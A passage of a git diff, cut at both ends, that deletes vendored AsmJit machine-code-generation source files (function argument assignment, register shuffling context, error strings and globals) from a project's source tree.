pushPopSaveOffset() const noexcept { return _pushPopSaveOffset; } - - //! Returns stack size required to save/restore extra registers that don't - //! use push/pop/ - //! - //! \note On X86 this covers all registers except GP registers, on other - //! architectures it can be always zero (for example AArch64 saves all - //! registers via push/pop like instructions, so this would be zero). - inline uint32_t extraRegSaveSize() const noexcept { return _extraRegSaveSize; } - //! Returns an offset to the stack where extra registers are saved. - inline uint32_t extraRegSaveOffset() const noexcept { return _extraRegSaveOffset; } - - //! Tests whether the functions contains stack adjustment. - inline bool hasStackAdjustment() const noexcept { return _stackAdjustment != 0; } - //! Returns function's stack adjustment used in function's prolog and epilog. - //! - //! If the returned value is zero it means that the stack is not adjusted. - //! This can mean both that the stack is not used and/or the stack is only - //! adjusted by instructions that pust/pop registers into/from stack. - inline uint32_t stackAdjustment() const noexcept { return _stackAdjustment; } - - //! \} - - //! \name Finaliztion - //! \{ - - ASMJIT_API Error finalize() noexcept; - - //! \} -}; - -// ============================================================================ -// [asmjit::FuncArgsAssignment] -// ============================================================================ - -//! A helper class that can be used to assign a physical register for each -//! function argument. Use with `BaseEmitter::emitArgsAssignment()`. -class FuncArgsAssignment { -public: - //! Function detail. - const FuncDetail* _funcDetail; - //! Register that can be used to access arguments passed by stack. - uint8_t _saRegId; - //! Reserved for future use. - uint8_t _reserved[3]; - //! Mapping of each function argument. - FuncValuePack _argPacks[Globals::kMaxFuncArgs]; - - //! \name Construction & Destruction - //! \{ - - inline explicit FuncArgsAssignment(const FuncDetail* fd = nullptr) noexcept { reset(fd); } - - inline FuncArgsAssignment(const FuncArgsAssignment& other) noexcept { - memcpy(this, &other, sizeof(*this)); - } - - inline void reset(const FuncDetail* fd = nullptr) noexcept { - _funcDetail = fd; - _saRegId = uint8_t(BaseReg::kIdBad); - memset(_reserved, 0, sizeof(_reserved)); - memset(_argPacks, 0, sizeof(_argPacks)); - } - - //! \} - - //! \name Accessors - //! \{ - - inline const FuncDetail* funcDetail() const noexcept { return _funcDetail; } - inline void setFuncDetail(const FuncDetail* fd) noexcept { _funcDetail = fd; } - - inline bool hasSARegId() const noexcept { return _saRegId != BaseReg::kIdBad; } - inline uint32_t saRegId() const noexcept { return _saRegId; } - inline void setSARegId(uint32_t regId) { _saRegId = uint8_t(regId); } - inline void resetSARegId() { _saRegId = uint8_t(BaseReg::kIdBad); } - - inline FuncValue& arg(size_t argIndex, size_t valueIndex) noexcept { - ASMJIT_ASSERT(argIndex < ASMJIT_ARRAY_SIZE(_argPacks)); - return _argPacks[argIndex][valueIndex]; - } - inline const FuncValue& arg(size_t argIndex, size_t valueIndex) const noexcept { - ASMJIT_ASSERT(argIndex < ASMJIT_ARRAY_SIZE(_argPacks)); - return _argPacks[argIndex][valueIndex]; - } - - inline bool isAssigned(size_t argIndex, size_t valueIndex) const noexcept { - ASMJIT_ASSERT(argIndex < ASMJIT_ARRAY_SIZE(_argPacks)); - return _argPacks[argIndex][valueIndex].isAssigned(); - } - - inline void assignReg(size_t argIndex, const BaseReg& reg, uint32_t typeId = Type::kIdVoid) noexcept { - ASMJIT_ASSERT(argIndex < ASMJIT_ARRAY_SIZE(_argPacks)); - ASMJIT_ASSERT(reg.isPhysReg()); - _argPacks[argIndex][0].initReg(reg.type(), reg.id(), typeId); - } - - inline void assignReg(size_t argIndex, uint32_t regType, uint32_t regId, uint32_t typeId = Type::kIdVoid) noexcept { - ASMJIT_ASSERT(argIndex < ASMJIT_ARRAY_SIZE(_argPacks)); - _argPacks[argIndex][0].initReg(regType, regId, typeId); - } - - inline void assignStack(size_t argIndex, int32_t offset, uint32_t typeId = Type::kIdVoid) noexcept { - ASMJIT_ASSERT(argIndex < ASMJIT_ARRAY_SIZE(_argPacks)); - _argPacks[argIndex][0].initStack(offset, typeId); - } - - inline void assignRegInPack(size_t argIndex, size_t valueIndex, const BaseReg& reg, uint32_t typeId = Type::kIdVoid) noexcept { - ASMJIT_ASSERT(argIndex < ASMJIT_ARRAY_SIZE(_argPacks)); - ASMJIT_ASSERT(reg.isPhysReg()); - _argPacks[argIndex][valueIndex].initReg(reg.type(), reg.id(), typeId); - } - - inline void assignRegInPack(size_t argIndex, size_t valueIndex, uint32_t regType, uint32_t regId, uint32_t typeId = Type::kIdVoid) noexcept { - ASMJIT_ASSERT(argIndex < ASMJIT_ARRAY_SIZE(_argPacks)); - _argPacks[argIndex][valueIndex].initReg(regType, regId, typeId); - } - - inline void assignStackInPack(size_t argIndex, size_t valueIndex, int32_t offset, uint32_t typeId = Type::kIdVoid) noexcept { - ASMJIT_ASSERT(argIndex < ASMJIT_ARRAY_SIZE(_argPacks)); - _argPacks[argIndex][valueIndex].initStack(offset, typeId); - } - - // NOTE: All `assignAll()` methods are shortcuts to assign all arguments at - // once, however, since registers are passed all at once these initializers - // don't provide any way to pass TypeId and/or to keep any argument between - // the arguments passed unassigned. - inline void _assignAllInternal(size_t argIndex, const BaseReg& reg) noexcept { - assignReg(argIndex, reg); - } - - template - inline void _assignAllInternal(size_t argIndex, const BaseReg& reg, Args&&... args) noexcept { - assignReg(argIndex, reg); - _assignAllInternal(argIndex + 1, std::forward(args)...); - } - - template - inline void assignAll(Args&&... args) noexcept { - _assignAllInternal(0, std::forward(args)...); - } - - //! \} - - //! \name Utilities - //! \{ - - //! Update `FuncFrame` based on function's arguments assignment. - //! - //! \note You MUST call this in orher to use `BaseEmitter::emitArgsAssignment()`, - //! otherwise the FuncFrame would not contain the information necessary to - //! assign all arguments into the registers and/or stack specified. - ASMJIT_API Error updateFuncFrame(FuncFrame& frame) const noexcept; - - //! \} -}; - -//! \} - -ASMJIT_END_NAMESPACE - -#endif // ASMJIT_CORE_FUNC_H_INCLUDED - diff --git a/src/Theodosius/asmjit/core/funcargscontext.cpp b/src/Theodosius/asmjit/core/funcargscontext.cpp deleted file mode 100644 index 331e205..0000000 --- a/src/Theodosius/asmjit/core/funcargscontext.cpp +++ /dev/null @@ -1,315 +0,0 @@ -// AsmJit - Machine code generation for C++ -// -// * Official AsmJit Home Page: https://asmjit.com -// * Official Github Repository: https://github.com/asmjit/asmjit -// -// Copyright (c) 2008-2020 The AsmJit Authors -// -// This software is provided 'as-is', without any express or implied -// warranty. In no event will the authors be held liable for any damages -// arising from the use of this software. -// -// Permission is granted to anyone to use this software for any purpose, -// including commercial applications, and to alter it and redistribute it -// freely, subject to the following restrictions: -// -// 1. The origin of this software must not be misrepresented; you must not -// claim that you wrote the original software. If you use this software -// in a product, an acknowledgment in the product documentation would be -// appreciated but is not required. -// 2. Altered source versions must be plainly marked as such, and must not be -// misrepresented as being the original software. -// 3. This notice may not be removed or altered from any source distribution. - -#include "../core/api-build_p.h" -#include "../core/funcargscontext_p.h" - -ASMJIT_BEGIN_NAMESPACE - -//! \cond INTERNAL -//! \addtogroup asmjit_core -//! \{ - -FuncArgsContext::FuncArgsContext() noexcept { - for (uint32_t group = 0; group < BaseReg::kGroupVirt; group++) - _workData[group].reset(); -} - -ASMJIT_FAVOR_SIZE Error FuncArgsContext::initWorkData(const FuncFrame& frame, const FuncArgsAssignment& args, const RAConstraints* constraints) noexcept { - // The code has to be updated if this changes. - ASMJIT_ASSERT(BaseReg::kGroupVirt == 4); - - uint32_t i; - - uint32_t arch = frame.arch(); - const FuncDetail& func = *args.funcDetail(); - - _archTraits = &ArchTraits::byArch(arch); - _constraints = constraints; - _arch = uint8_t(arch); - - // Initialize `_archRegs`. - for (i = 0; i < BaseReg::kGroupVirt; i++) - _workData[i]._archRegs = _constraints->availableRegs(i); - - if (frame.hasPreservedFP()) - _workData[BaseReg::kGroupGp]._archRegs &= ~Support::bitMask(archTraits().fpRegId()); - - // Extract information from all function arguments/assignments and build Var[] array. - uint32_t varId = 0; - for (uint32_t argIndex = 0; argIndex < Globals::kMaxFuncArgs; argIndex++) { - for (uint32_t valueIndex = 0; valueIndex < Globals::kMaxValuePack; valueIndex++) { - const FuncValue& dst_ = args.arg(argIndex, valueIndex); - if (!dst_.isAssigned()) - continue; - - const FuncValue& src_ = func.arg(argIndex, valueIndex); - if (ASMJIT_UNLIKELY(!src_.isAssigned())) - return DebugUtils::errored(kErrorInvalidState); - - Var& var = _vars[varId]; - var.init(src_, dst_); - - FuncValue& src = var.cur; - FuncValue& dst = var.out; - - uint32_t dstGroup = 0xFFFFFFFFu; - uint32_t dstId = BaseReg::kIdBad; - WorkData* dstWd = nullptr; - - // Not supported. - if (src.isIndirect()) - return DebugUtils::errored(kErrorInvalidAssignment); - - if (dst.isReg()) { - uint32_t dstType = dst.regType(); - if (ASMJIT_UNLIKELY(!archTraits().hasRegType(dstType))) - return DebugUtils::errored(kErrorInvalidRegType); - - // Copy TypeId from source if the destination doesn't have it. The RA - // used by BaseCompiler would never leave TypeId undefined, but users - // of FuncAPI can just assign phys regs without specifying the type. - if (!dst.hasTypeId()) - dst.setTypeId(archTraits().regTypeToTypeId(dst.regType())); - - dstGroup = archTraits().regTypeToGroup(dstType); - if (ASMJIT_UNLIKELY(dstGroup >= BaseReg::kGroupVirt)) - return DebugUtils::errored(kErrorInvalidRegGroup); - - dstWd = &_workData[dstGroup]; - dstId = dst.regId(); - if (ASMJIT_UNLIKELY(dstId >= 32 || !Support::bitTest(dstWd->archRegs(), dstId))) - return DebugUtils::errored(kErrorInvalidPhysId); - - if (ASMJIT_UNLIKELY(Support::bitTest(dstWd->dstRegs(), dstId))) - return DebugUtils::errored(kErrorOverlappedRegs); - - dstWd->_dstRegs |= Support::bitMask(dstId); - dstWd->_dstShuf |= Support::bitMask(dstId); - dstWd->_usedRegs |= Support::bitMask(dstId); - } - else { - if (!dst.hasTypeId()) - dst.setTypeId(src.typeId()); - - RegInfo regInfo = getSuitableRegForMemToMemMove(arch, dst.typeId(), src.typeId()); - if (ASMJIT_UNLIKELY(!regInfo.isValid())) - return DebugUtils::errored(kErrorInvalidState); - _stackDstMask = uint8_t(_stackDstMask | Support::bitMask(regInfo.group())); - } - - if (src.isReg()) { - uint32_t srcId = src.regId(); - uint32_t srcGroup = archTraits().regTypeToGroup(src.regType()); - - if (dstGroup == srcGroup) { - dstWd->assign(varId, srcId); - - // The best case, register is allocated where it is expected to be. - if (dstId == srcId) - var.markDone(); - } - else { - if (ASMJIT_UNLIKELY(srcGroup >= BaseReg::kGroupVirt)) - return DebugUtils::errored(kErrorInvalidState); - - WorkData& srcData = _workData[srcGroup]; - srcData.assign(varId, srcId); - } - } - else { - if (dstWd) - dstWd->_numStackArgs++; - _hasStackSrc = true; - } - - varId++; - } - } - - // Initialize WorkData::workRegs. - for (i = 0; i < BaseReg::kGroupVirt; i++) { - _workData[i]._workRegs = (_workData[i].archRegs() & (frame.dirtyRegs(i) | ~frame.preservedRegs(i))) | _workData[i].dstRegs() | _workData[i].assignedRegs(); - } - - // Create a variable that represents `SARegId` if necessary. - bool saRegRequired = _hasStackSrc && frame.hasDynamicAlignment() && !frame.hasPreservedFP(); - - WorkData& gpRegs = _workData[BaseReg::kGroupGp]; - uint32_t saCurRegId = frame.saRegId(); - uint32_t saOutRegId = args.saRegId(); - - if (saCurRegId != BaseReg::kIdBad) { - // Check if the provided `SARegId` doesn't collide with input registers. - if (ASMJIT_UNLIKELY(gpRegs.isAssigned(saCurRegId))) - return DebugUtils::errored(kErrorOverlappedRegs); - } - - if (saOutRegId != BaseReg::kIdBad) { - // Check if the provided `SARegId` doesn't collide with argument assignments. - if (ASMJIT_UNLIKELY(Support::bitTest(gpRegs.dstRegs(), saOutRegId))) - return DebugUtils::errored(kErrorOverlappedRegs); - saRegRequired = true; - } - - if (saRegRequired) { - uint32_t ptrTypeId = Environment::is32Bit(arch) ? Type::kIdU32 : Type::kIdU64; - uint32_t ptrRegType = Environment::is32Bit(arch) ? BaseReg::kTypeGp32 : BaseReg::kTypeGp64; - - _saVarId = uint8_t(varId); - _hasPreservedFP = frame.hasPreservedFP(); - - Var& var = _vars[varId]; - var.reset(); - - if (saCurRegId == BaseReg::kIdBad) { - if (saOutRegId != BaseReg::kIdBad && !gpRegs.isAssigned(saOutRegId)) { - saCurRegId = saOutRegId; - } - else { - uint32_t availableRegs = gpRegs.availableRegs(); - if (!availableRegs) - availableRegs = gpRegs.archRegs() & ~gpRegs.workRegs(); - - if (ASMJIT_UNLIKELY(!availableRegs)) - return DebugUtils::errored(kErrorNoMorePhysRegs); - - saCurRegId = Support::ctz(availableRegs); - } - } - - var.cur.initReg(ptrRegType, saCurRegId, ptrTypeId); - gpRegs.assign(varId, saCurRegId); - gpRegs._workRegs |= Support::bitMask(saCurRegId); - - if (saOutRegId != BaseReg::kIdBad) { - var.out.initReg(ptrRegType, saOutRegId, ptrTypeId); - gpRegs._dstRegs |= Support::bitMask(saOutRegId); - gpRegs._workRegs |= Support::bitMask(saOutRegId); - } - else { - var.markDone(); - } - - varId++; - } - - _varCount = varId; - - // Detect register swaps. - for (varId = 0; varId < _varCount; varId++) { - Var& var = _vars[varId]; - if (var.cur.isReg() && var.out.isReg()) { - uint32_t srcId = var.cur.regId(); - uint32_t dstId = var.out.regId(); - - uint32_t group = archTraits().regTypeToGroup(var.cur.regType()); - if (group != archTraits().regTypeToGroup(var.out.regType())) - continue; - - WorkData& wd = _workData[group]; - if (wd.isAssigned(dstId)) { - Var& other = _vars[wd._physToVarId[dstId]]; - if (archTraits().regTypeToGroup(other.out.regType()) == group && other.out.regId() == srcId) { - wd._numSwaps++; - _regSwapsMask = uint8_t(_regSwapsMask | Support::bitMask(group)); - } - } - } - } - - return kErrorOk; -} - -ASMJIT_FAVOR_SIZE Error FuncArgsContext::markDstRegsDirty(FuncFrame& frame) noexcept { - for (uint32_t i = 0; i < BaseReg::kGroupVirt; i++) { - WorkData& wd = _workData[i]; - uint32_t regs = wd.usedRegs() | wd._dstShuf; - - wd._workRegs |= regs; - frame.addDirtyRegs(i, regs); - } - - return kErrorOk; -} - -ASMJIT_FAVOR_SIZE Error FuncArgsContext::markScratchRegs(FuncFrame& frame) noexcept { - uint32_t groupMask = 0; - - // Handle stack to stack moves. - groupMask |= _stackDstMask; - - // Handle register swaps. - groupMask |= _regSwapsMask & ~Support::bitMask(BaseReg::kGroupGp); - - if (!groupMask) - return kErrorOk; - - // Selects one dirty register per affected group that can be used as a scratch register. - for (uint32_t group = 0; group < BaseReg::kGroupVirt; group++) { - if (Support::bitTest(groupMask, group)) { - WorkData& wd = _workData[group]; - - // Initially, pick some clobbered or dirty register. - uint32_t workRegs = wd.workRegs(); - uint32_t regs = workRegs & ~(wd.usedRegs() | wd._dstShuf); - - // If that didn't work out pick some register which is not in 'used'. - if (!regs) - regs = workRegs & ~wd.usedRegs(); - - // If that didn't work out pick any other register that is allocable. - // This last resort case will, however, result in marking one more - // register dirty. - if (!regs) - regs = wd.archRegs() & ~workRegs; - - // If that didn't work out we will have to use XORs instead of MOVs. - if (!regs) - continue; - - uint32_t regMask = Support::blsi(regs); - wd._workRegs |= regMask; - frame.addDirtyRegs(group, regMask); - } - } - - return kErrorOk; -} - -ASMJIT_FAVOR_SIZE Error FuncArgsContext::markStackArgsReg(FuncFrame& frame) noexcept { - if (_saVarId != kVarIdNone) { - const Var& var = _vars[_saVarId]; - frame.setSARegId(var.cur.regId()); - } - else if (frame.hasPreservedFP()) { - frame.setSARegId(archTraits().fpRegId()); - } - - return kErrorOk; -} - -//! \} -//! \endcond - -ASMJIT_END_NAMESPACE diff --git a/src/Theodosius/asmjit/core/funcargscontext_p.h b/src/Theodosius/asmjit/core/funcargscontext_p.h deleted file mode 100644 index 6c4ea6a..0000000 --- a/src/Theodosius/asmjit/core/funcargscontext_p.h +++ /dev/null @@ -1,224 +0,0 @@ -// AsmJit - Machine code generation for C++ -// -// * Official AsmJit Home Page: https://asmjit.com -// * Official Github Repository: https://github.com/asmjit/asmjit -// -// Copyright (c) 2008-2020 The AsmJit Authors -// -// This software is provided 'as-is', without any express or implied -// warranty. In no event will the authors be held liable for any damages -// arising from the use of this software. -// -// Permission is granted to anyone to use this software for any purpose, -// including commercial applications, and to alter it and redistribute it -// freely, subject to the following restrictions: -// -// 1. The origin of this software must not be misrepresented; you must not -// claim that you wrote the original software. If you use this software -// in a product, an acknowledgment in the product documentation would be -// appreciated but is not required. -// 2. Altered source versions must be plainly marked as such, and must not be -// misrepresented as being the original software. -// 3. This notice may not be removed or altered from any source distribution. - -#ifndef ASMJIT_CORE_FUNCARGSCONTEXT_P_H_INCLUDED -#define ASMJIT_CORE_FUNCARGSCONTEXT_P_H_INCLUDED - -#include "../core/archtraits.h" -#include "../core/environment.h" -#include "../core/func.h" -#include "../core/operand.h" -#include "../core/radefs_p.h" -#include "../core/support.h" - -ASMJIT_BEGIN_NAMESPACE - -//! \cond INTERNAL -//! \addtogroup asmjit_core -//! \{ - -// ============================================================================ -// [TODO: Place somewhere else] -// ============================================================================ - -static inline RegInfo getSuitableRegForMemToMemMove(uint32_t arch, uint32_t dstTypeId, uint32_t srcTypeId) noexcept { - const ArchTraits& archTraits = ArchTraits::byArch(arch); - - uint32_t dstSize = Type::sizeOf(dstTypeId); - uint32_t srcSize = Type::sizeOf(srcTypeId); - uint32_t maxSize = Support::max(dstSize, srcSize); - uint32_t regSize = Environment::registerSizeFromArch(arch); - - uint32_t signature = 0; - if (maxSize <= regSize || (Type::isInt(dstTypeId) && Type::isInt(srcTypeId))) - signature = maxSize <= 4 ? archTraits.regTypeToSignature(BaseReg::kTypeGp32) - : archTraits.regTypeToSignature(BaseReg::kTypeGp64); - else if (maxSize <= 8 && archTraits.hasRegType(BaseReg::kTypeVec64)) - signature = archTraits.regTypeToSignature(BaseReg::kTypeVec64); - else if (maxSize <= 16 && archTraits.hasRegType(BaseReg::kTypeVec128)) - signature = archTraits.regTypeToSignature(BaseReg::kTypeVec128); - else if (maxSize <= 32 && archTraits.hasRegType(BaseReg::kTypeVec256)) - signature = archTraits.regTypeToSignature(BaseReg::kTypeVec256); - else if (maxSize <= 64 && archTraits.hasRegType(BaseReg::kTypeVec512)) - signature = archTraits.regTypeToSignature(BaseReg::kTypeVec512); - - return RegInfo { signature }; -} - -// ============================================================================ -// [asmjit::FuncArgsContext] -// ============================================================================ - -class FuncArgsContext { -public: - enum VarId : uint32_t { - kVarIdNone = 0xFF - }; - - //! Contains information about a single argument or SA register that may need shuffling. - struct Var { - FuncValue cur; - FuncValue out; - - inline void init(const FuncValue& cur_, const FuncValue& out_) noexcept { - cur = cur_; - out = out_; - } - - //! Reset the value to its unassigned state. - inline void reset() noexcept { - cur.reset(); - out.reset(); - } - - inline bool isDone() const noexcept { return cur.isDone(); } - inline void markDone() noexcept { cur.addFlags(FuncValue::kFlagIsDone); } - }; - - struct WorkData { - //! All allocable registers provided by the architecture. - uint32_t _archRegs; - //! All registers that can be used by the shuffler. - uint32_t _workRegs; - //! Registers used by the shuffler (all). - uint32_t _usedRegs; - //! Assigned registers. - uint32_t _assignedRegs; - //! Destination registers assigned to arguments or SA. - uint32_t _dstRegs; - //! Destination registers that require shuffling. - uint32_t _dstShuf; - //! Number of register swaps. - uint8_t _numSwaps; - //! Number of stack loads. - uint8_t _numStackArgs; - //! Reserved (only used as padding). - uint8_t _reserved[6]; - //! Physical ID to variable ID mapping. - uint8_t _physToVarId[32]; - - inline void reset() noexcept { - _archRegs = 0; - _workRegs = 0; - _usedRegs = 0; - _assignedRegs = 0; - _dstRegs = 0; - _dstShuf = 0; - _numSwaps = 0; - _numStackArgs = 0; - memset(_reserved, 0, sizeof(_reserved)); - memset(_physToVarId, kVarIdNone, 32); - } - - inline bool isAssigned(uint32_t regId) const noexcept { - ASMJIT_ASSERT(regId < 32); - return Support::bitTest(_assignedRegs, regId); - } - - inline void assign(uint32_t varId, uint32_t regId) noexcept { - ASMJIT_ASSERT(!isAssigned(regId)); - ASMJIT_ASSERT(_physToVarId[regId] == kVarIdNone); - - _physToVarId[regId] = uint8_t(varId); - _assignedRegs ^= Support::bitMask(regId); - } - - inline void reassign(uint32_t varId, uint32_t newId, uint32_t oldId) noexcept { - ASMJIT_ASSERT( isAssigned(oldId)); - ASMJIT_ASSERT(!isAssigned(newId)); - ASMJIT_ASSERT(_physToVarId[oldId] == varId); - ASMJIT_ASSERT(_physToVarId[newId] == kVarIdNone); - - _physToVarId[oldId] = uint8_t(kVarIdNone); - _physToVarId[newId] = uint8_t(varId); - _assignedRegs ^= Support::bitMask(newId) ^ Support::bitMask(oldId); - } - - inline void swap(uint32_t aVarId, uint32_t aRegId, uint32_t bVarId, uint32_t bRegId) noexcept { - ASMJIT_ASSERT(isAssigned(aRegId)); - ASMJIT_ASSERT(isAssigned(bRegId)); - ASMJIT_ASSERT(_physToVarId[aRegId] == aVarId); - ASMJIT_ASSERT(_physToVarId[bRegId] == bVarId); - - _physToVarId[aRegId] = uint8_t(bVarId); - _physToVarId[bRegId] = uint8_t(aVarId); - } - - inline void unassign(uint32_t varId, uint32_t regId) noexcept { - ASMJIT_ASSERT(isAssigned(regId)); - ASMJIT_ASSERT(_physToVarId[regId] == varId); - - DebugUtils::unused(varId); - _physToVarId[regId] = uint8_t(kVarIdNone); - _assignedRegs ^= Support::bitMask(regId); - } - - inline uint32_t archRegs() const noexcept { return _archRegs; } - inline uint32_t workRegs() const noexcept { return _workRegs; } - inline uint32_t usedRegs() const noexcept { return _usedRegs; } - inline uint32_t assignedRegs() const noexcept { return _assignedRegs; } - inline uint32_t dstRegs() const noexcept { return _dstRegs; } - inline uint32_t availableRegs() const noexcept { return _workRegs & ~_assignedRegs; } - }; - - //! Architecture traits. - const ArchTraits* _archTraits = nullptr; - const RAConstraints* _constraints = nullptr; - //! Architecture identifier. - uint8_t _arch = 0; - //! Has arguments passed via stack (SRC). - bool _hasStackSrc = false; - //! Has preserved frame-pointer (FP). - bool _hasPreservedFP = false; - //! Has arguments assigned to stack (DST). - uint8_t _stackDstMask = 0; - //! Register swap groups (bit-mask). - uint8_t _regSwapsMask = 0; - uint8_t _saVarId = kVarIdNone; - uint32_t _varCount = 0; - WorkData _workData[BaseReg::kGroupVirt]; - Var _vars[Globals::kMaxFuncArgs * Globals::kMaxValuePack + 1]; - - FuncArgsContext() noexcept; - - inline const ArchTraits& archTraits() const noexcept { return *_archTraits; } - inline uint32_t arch() const noexcept { return _arch; } - - inline uint32_t varCount() const noexcept { return _varCount; } - inline size_t indexOf(const Var* var) const noexcept { return (size_t)(var - _vars); } - - inline Var& var(size_t varId) noexcept { return _vars[varId]; } - inline const Var& var(size_t varId) const noexcept { return _vars[varId]; } - - Error initWorkData(const FuncFrame& frame, const FuncArgsAssignment& args, const RAConstraints* constraints) noexcept; - Error markScratchRegs(FuncFrame& frame) noexcept; - Error markDstRegsDirty(FuncFrame& frame) noexcept; - Error markStackArgsReg(FuncFrame& frame) noexcept; -}; - -//! \} -//! \endcond - -ASMJIT_END_NAMESPACE - -#endif // ASMJIT_CORE_FUNCARGSCONTEXT_P_H_INCLUDED diff --git a/src/Theodosius/asmjit/core/globals.cpp b/src/Theodosius/asmjit/core/globals.cpp deleted file mode 100644 index dc5083b..0000000 --- a/src/Theodosius/asmjit/core/globals.cpp +++ /dev/null @@ -1,146 +0,0 @@ -// AsmJit - Machine code generation for C++ -// -// * Official AsmJit Home Page: https://asmjit.com -// * Official Github Repository: https://github.com/asmjit/asmjit -// -// Copyright (c) 2008-2020 The AsmJit Authors -// -// This software is provided 'as-is', without any express or implied -// warranty. In no event will the authors be held liable for any damages -// arising from the use of this software. -// -// Permission is granted to anyone to use this software for any purpose, -// including commercial applications, and to alter it and redistribute it -// freely, subject to the following restrictions: -// -// 1. The origin of this software must not be misrepresented; you must not -// claim that you wrote the original software. If you use this software -// in a product, an acknowledgment in the product documentation would be -// appreciated but is not required. -// 2. Altered source versions must be plainly marked as such, and must not be -// misrepresented as being the original software. -// 3. This notice may not be removed or altered from any source distribution. - -#include "../core/api-build_p.h" -#include "../core/globals.h" -#include "../core/support.h" - -ASMJIT_BEGIN_NAMESPACE - -// ============================================================================ -// [asmjit::DebugUtils] -// ============================================================================ - -ASMJIT_FAVOR_SIZE const char* DebugUtils::errorAsString(Error err) noexcept { -#ifndef ASMJIT_NO_TEXT - // @EnumStringBegin{"enum": "ErrorCode", "output": "sError", "strip": "kError"}@ - static const char sErrorString[] = - "Ok\0" - "OutOfMemory\0" - "InvalidArgument\0" - "InvalidState\0" - "InvalidArch\0" - "NotInitialized\0" - "AlreadyInitialized\0" - "FeatureNotEnabled\0" - "TooManyHandles\0" - "TooLarge\0" - "NoCodeGenerated\0" - "InvalidDirective\0" - "InvalidLabel\0" - "TooManyLabels\0" - "LabelAlreadyBound\0" - "LabelAlreadyDefined\0" - "LabelNameTooLong\0" - "InvalidLabelName\0" - "InvalidParentLabel\0" - "NonLocalLabelCannotHaveParent\0" - "InvalidSection\0" - "TooManySections\0" - "InvalidSectionName\0" - "TooManyRelocations\0" - "InvalidRelocEntry\0" - "RelocOffsetOutOfRange\0" - "InvalidAssignment\0" - "InvalidInstruction\0" - "InvalidRegType\0" - "InvalidRegGroup\0" - "InvalidPhysId\0" - "InvalidVirtId\0" - "InvalidElementIndex\0" - "InvalidPrefixCombination\0" - "InvalidLockPrefix\0" - "InvalidXAcquirePrefix\0" - "InvalidXReleasePrefix\0" - "InvalidRepPrefix\0" - "InvalidRexPrefix\0" - "InvalidExtraReg\0" - "InvalidKMaskUse\0" - "InvalidKZeroUse\0" - "InvalidBroadcast\0" - "InvalidEROrSAE\0" - "InvalidAddress\0" - "InvalidAddressIndex\0" - "InvalidAddressScale\0" - "InvalidAddress64Bit\0" - "InvalidAddress64BitZeroExtension\0" - "InvalidDisplacement\0" - "InvalidSegment\0" - "InvalidImmediate\0" - "InvalidOperandSize\0" - "AmbiguousOperandSize\0" - "OperandSizeMismatch\0" - "InvalidOption\0" - "OptionAlreadyDefined\0" - "InvalidTypeId\0" - "InvalidUseOfGpbHi\0" - "InvalidUseOfGpq\0" - "InvalidUseOfF80\0" - "NotConsecutiveRegs\0" - "IllegalVirtReg\0" - "TooManyVirtRegs\0" - "NoMorePhysRegs\0" - "OverlappedRegs\0" - "OverlappingStackRegWithRegArg\0" - "ExpressionLabelNotBound\0" - "ExpressionOverflow\0" - "FailedToOpenAnonymousMemory\0" - "\0"; - - static const uint16_t sErrorIndex[] = { - 0, 3, 15, 31, 44, 56, 71, 90, 108, 123, 132, 148, 165, 178, 192, 210, 230, - 247, 264, 283, 313, 328, 344, 363, 382, 400, 422, 440, 459, 474, 490, 504, - 518, 538, 563, 581, 603, 625, 642, 659, 675, 691, 707, 724, 739, 754, 774, - 794, 814, 847, 867, 882, 899, 918, 939, 959, 973, 994, 1008, 1026, 1042, - 1058, 1077, 1092, 1108, 1123, 1138, 1168, 1192, 1211, 1239 - }; - // @EnumStringEnd@ - - return sErrorString + sErrorIndex[Support::min(err, kErrorCount)]; -#else - DebugUtils::unused(err); - static const char noMessage[] = ""; - return noMessage; -#endif -} - -ASMJIT_FAVOR_SIZE void DebugUtils::debugOutput(const char* str) noexcept { -#if defined(_WIN32) - ::OutputDebugStringA(str); -#else - ::fputs(str, stderr); -#endif -} - -ASMJIT_FAVOR_SIZE void DebugUtils::assertionFailed(const char* file, int line, const char* msg) noexcept { - char str[1024]; - - snprintf(str, 1024, - "[asmjit] Assertion failed at %s (line %d):\n" - "[asmjit] %s\n", file, line, msg); - - debugOutput(str); - ::abort(); -} - -ASMJIT_END_NAMESPACE diff --git a/src/Theodosius/asmjit/core/globals.h b/src/Theodosius/asmjit/core/globals.h deleted file mode 100644 index 3b7bfc9..0000000 --- a/src/Theodosius/asmjit/core/globals.h +++ /dev/null @@ -1,462 +0,0 @@ -// AsmJit - Machine code generation for C++ -// -// * Official AsmJit Home Page: https://asmjit.com -// * Official Github Repository: https://github.com/asmjit/asmjit -// -// Copyright (c) 2008-2020 The AsmJit Authors -// -// This software is provided 'as-is', without any express or implied -// warranty. In no event will the authors be held liable for any damages -// arising from the use of this software. -// -// Permission is granted to anyone to use this software for any purpose, -// including commercial applications, and to alter it and redistribute it -// freely, subject to the following restrictions: -// -// 1. The origin of this software must not be misrepresented; you must not -// claim that you wrote the original software. If you use this software -// in a product, an acknowledgment in the product documentation would be -// appreciated but is not required. -// 2. Altered source versions must be plainly marked as such, and must not be -// misrepresented as being the original software. -// 3. This notice may not be removed or altered from any source distribution. - -#ifndef ASMJIT_CORE_GLOBALS_H_INCLUDED -#define ASMJIT_CORE_GLOBALS_H_INCLUDED - -#include "../core/api-config.h" - -ASMJIT_BEGIN_NAMESPACE - -// ============================================================================ -// [asmjit::Support] -// ============================================================================ - -//! \cond INTERNAL -//! \addtogroup asmjit_utilities -//! \{ -namespace Support { - //! Cast designed to cast between function and void* pointers. - template - static inline Dst ptr_cast_impl(Src p) noexcept { return (Dst)p; } -} // {Support} - -#if defined(ASMJIT_NO_STDCXX) -namespace Support { - ASMJIT_INLINE void* operatorNew(size_t n) noexcept { return malloc(n); } - ASMJIT_INLINE void operatorDelete(void* p) noexcept { if (p) free(p); } -} // {Support} - -#define ASMJIT_BASE_CLASS(TYPE) \ - ASMJIT_INLINE void* operator new(size_t n) noexcept { \ - return Support::operatorNew(n); \ - } \ - \ - ASMJIT_INLINE void operator delete(void* p) noexcept { \ - Support::operatorDelete(p); \ - } \ - \ - ASMJIT_INLINE void* operator new(size_t, void* p) noexcept { return p; } \ - ASMJIT_INLINE void operator delete(void*, void*) noexcept {} -#else -#define ASMJIT_BASE_CLASS(TYPE) -#endif - -//! \} -//! \endcond - -// ============================================================================ -// [asmjit::Globals] -// ============================================================================ - -//! \addtogroup asmjit_core -//! \{ - -//! Contains typedefs, constants, and variables used globally by AsmJit. -namespace Globals { - -// ============================================================================ -// [asmjit::Globals::] -// ============================================================================ - -//! Host memory allocator overhead. -static constexpr uint32_t kAllocOverhead = 